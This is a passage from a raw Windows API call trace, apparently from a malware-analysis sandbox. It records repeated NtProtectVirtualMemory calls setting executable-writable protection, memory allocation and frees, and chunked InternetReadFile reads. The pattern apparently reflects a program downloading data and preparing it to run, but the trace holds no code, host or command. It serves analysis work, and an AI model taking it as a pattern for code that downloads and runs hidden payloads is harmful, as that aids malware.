NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.936] VirtualFree (lpAddress=0x1f080000, dwSize=0x2d8000, dwFreeType=0x4000) returned 1 [0146.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.954] VirtualFree (lpAddress=0x1efa0000, dwSize=0xe0000, dwFreeType=0x4000) returned 1 [0146.960] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.960] VirtualFree (lpAddress=0x1ef80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.968] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.970] VirtualAlloc (lpAddress=0x1f080000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f080000 [0146.972] VirtualFree (lpAddress=0x1f358000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0146.972] VirtualAlloc (lpAddress=0x1f73c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f73c000 [0146.974] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.975] VirtualAlloc (lpAddress=0x1f094000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f094000 [0146.976] VirtualFree (lpAddress=0x1f080000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.976] VirtualAlloc (lpAddress=0x1f74c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f74c000 [0146.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.980] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.980] VirtualFree (lpAddress=0x1f0a4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.983] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.983] VirtualAlloc (lpAddress=0x1f0a4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0a4000 [0146.985] VirtualFree (lpAddress=0x1f090000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.985] VirtualAlloc (lpAddress=0x1f75c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f75c000 [0146.985] VirtualFree (lpAddress=0x1f0b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.987] VirtualAlloc (lpAddress=0x1f0b4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0b4000 [0146.988] VirtualFree (lpAddress=0x1f0a0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.988] VirtualAlloc (lpAddress=0x1f76c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f76c000 [0146.989] VirtualFree (lpAddress=0x1f0c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.990] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0146.990] VirtualAlloc (lpAddress=0x1f0c4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f0c4000 [0146.992] VirtualFree (lpAddress=0x1f0b0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0146.992] VirtualAlloc (lpAddress=0x1f77c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f77c000 [0146.993] VirtualFree (lpAddress=0x1f0d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0146.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xcf4) returned 1 [0146.994] VirtualFree (lpAddress=0x1f0c0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0146.994] VirtualAlloc (lpAddress=0x0, dwSize=0x420000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ebe0000 [0146.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0146.998] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x41c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0147.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.063] VirtualFree (lpAddress=0x1f440000, dwSize=0x348000, dwFreeType=0x4000) returned 1 [0147.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.082] VirtualFree (lpAddress=0x1f370000, dwSize=0xd0000, dwFreeType=0x4000) returned 1 [0147.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.092] VirtualFree (lpAddress=0x1f080000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0147.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.111] VirtualAlloc (lpAddress=0x1f440000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f440000 [0147.113] VirtualFree (lpAddress=0x1f788000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.113] VirtualAlloc (lpAddress=0x1f000000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1f000000 [0147.114] VirtualAlloc (lpAddress=0x1f000000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f000000 [0147.114] VirtualAlloc (lpAddress=0x1effc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1effc000 [0147.116] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0147.116] VirtualAlloc (lpAddress=0x1f00c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f00c000 [0147.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.132] VirtualFree (lpAddress=0x1f440000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0147.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.137] VirtualFree (lpAddress=0x1f440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.154] VirtualAlloc (lpAddress=0x0, dwSize=0x440000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f100000 [0147.155] VirtualAlloc (lpAddress=0x1f100000, dwSize=0x35c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f100000 [0147.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: 